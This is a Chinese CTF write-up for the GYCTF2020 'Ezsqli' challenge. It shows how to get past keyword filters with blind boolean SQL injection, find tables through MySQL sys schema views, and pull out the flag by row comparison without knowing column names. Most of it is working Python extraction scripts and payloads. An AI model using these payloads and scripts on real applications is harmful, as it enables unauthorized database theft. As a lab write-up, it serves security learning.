[GYCTF2020]Ezsqli hao

本文详细介绍了如何利用SQL注入漏洞获取数据库信息。首先,通过过滤关键字后的盲注方法,逐字猜解数据库名和表名。接着,针对列名的盲注,采用逐字符比较的方法确定字段。最后,演示了如何逐步提取数据,形成最终的flag。文中提到的技巧包括ASCII码转换、条件判断以及错误信息反馈等,适用于限制较多的SQL注入场景。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

过滤了updatexml,union,
然后就想的用盲注吧

0^(xxxx)#

然后写个脚本跑一下就好
暴库

主要代码
payload="0^(ascii(substr((database()),%d,1))>%d)"%(i,mid)

得到give_grandpa_pa_pa_pa

然后后面爆表的时候就难搞了,过滤了挺多东西的,information,innodb_table_stats,啥的都过滤,然后可以用代替

sys.x$schema_flattened_keys
sys.x$schema_table_statistics_with_buffer
sys.schema_table_statistics_with_buffer

贴一下脚本吧

import requests
 
url="http://61792969-347a-482a-b444-84041698367f.node3.buuoj.cn/"

name=""

for i in range(1,300):
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
        print(low,mid,high)
        payload="0^(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),%d,1))>%d)"%(i,mid)
        data={'id':payload}
        r=requests.post(url,data=data)

        if "Nu1L" in r.text:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2

    name+=chr(mid)
    print(name)
    if mid==32:
        break   

得到users233333333333333,f1ag_1s_h3r3_hhhhh

然后后面就来问题了,无列名注,join,union的,被过滤。。。
然后用另一个

先手测一下有几个字段,然后有两个

(select "","")<(select * from f1ag_1s_h3r3_hhhhh)

然后挨着跑吧

import requests
import time
url="http://82dc5521-c797-473c-9399-a2e3b5353cee.node3.buuoj.cn/index.php"
flag=""
for i in range(1,1000):
   
    for j in range(32,128): 
    
        z=flag+chr(j)
        payload='if(((select "{}","")<(select * from f1ag_1s_h3r3_hhhhh)),1,0)'.format(z)
        data={
           
            "id":payload

        }
        print(data['id'])
        r=requests.post(url,data=data)
        time.sleep(0.05)
        
       
    
        if "Error Occured When Fetch Result." in r.text:
            flag+=chr(j-1)
            print(flag)
            break
    
    if flag[-1]=='/':
        break  

其中逻辑的话,刚开始肯定都是小于等于的,返回true,当前的大于的时候会返回false,所以chr(j-1),然后 到最后跑完数据库里所有的时候,你再在后面加(0-9a-zA-Z)一个字符(加特殊字符好像不影响),比较的时候会大于数据库,返回false,而第一个(0-9a-zA-Z)字符chr(48) 是 0,然后chr(48-1)== ‘/’ ,所有当’/'出现的时候说明该字段跑完了
在这里插入图片描述
最后跑flag的脚本

import requests
import time
url="http://82dc5521-c797-473c-9399-a2e3b5353cee.node3.buuoj.cn/index.php"
flag=""
for i in range(1,1000):
   
    for j in range(32,128): 
    
        z=flag+chr(j)
        payload='if(((select "1","{}")<(select * from f1ag_1s_h3r3_hhhhh)),1,0)'.format(z)
        data={
           
            "id":payload

        }
        
        r=requests.post(url,data=data)
        time.sleep(0.05)
        
       
    
        if "Error Occured When Fetch Result." in r.text:
            flag+=chr(j-1)
            print(flag)
            break
    
    if flag[-1]=='/':
        break 

这个题有个温柔的地方就是他字段里都只有一个值,而且limit过滤了,如果多个的话,这个方法也用不了。。。。。。。
不然的话也不能那样用,会报错的。
在这里插入图片描述

但是有多列的话,就用limit就好。
在这里插入图片描述

在这里插入图片描述

然后也是总结一下这个方法的一些情况吧
1和字符串比较时,1都大于字符串
0,负数和字符串比较时,都小于字符串
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值